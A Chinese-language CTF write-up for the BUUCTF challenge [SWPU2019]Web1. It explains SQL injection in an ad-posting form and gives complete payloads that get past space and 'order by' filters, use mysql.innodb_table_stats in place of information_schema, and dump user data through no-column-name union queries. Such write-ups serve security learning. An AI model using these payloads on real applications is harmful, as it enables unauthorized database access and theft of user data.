当前位置: 代码迷 >> 综合 >> BUU[SWPU2019]Web1
  详细解决方案

BUU[SWPU2019]Web1

热度:70   发布时间:2023-12-05 17:20:23.0

打开链接

发现是个登录页面

我们先注册再登录进去

点开申请发布广告,将广告名设为1'试试是否存在sql注入

果然报错了,显然存在sql注入

获取列数

这里过滤了空格,order by,我们使用/**/来进行绕过,order by可以用group by来代替

-1'/**/group/**/by/**/23,'

最后得到列数为22

查找有回显的列

 2和3

接下来爆表

 

这里将information_schema过滤了,但在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

sys.schema_auto_increment_columns

mysql.innodb_table_stats

在BUUCTF中没有 sys.schema_auto_increment_columns 这个库,所以用下面的

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆列,这里用到了无列名注入详情可以看这篇文章

无列名注入

-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

 爆值

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

 得到flag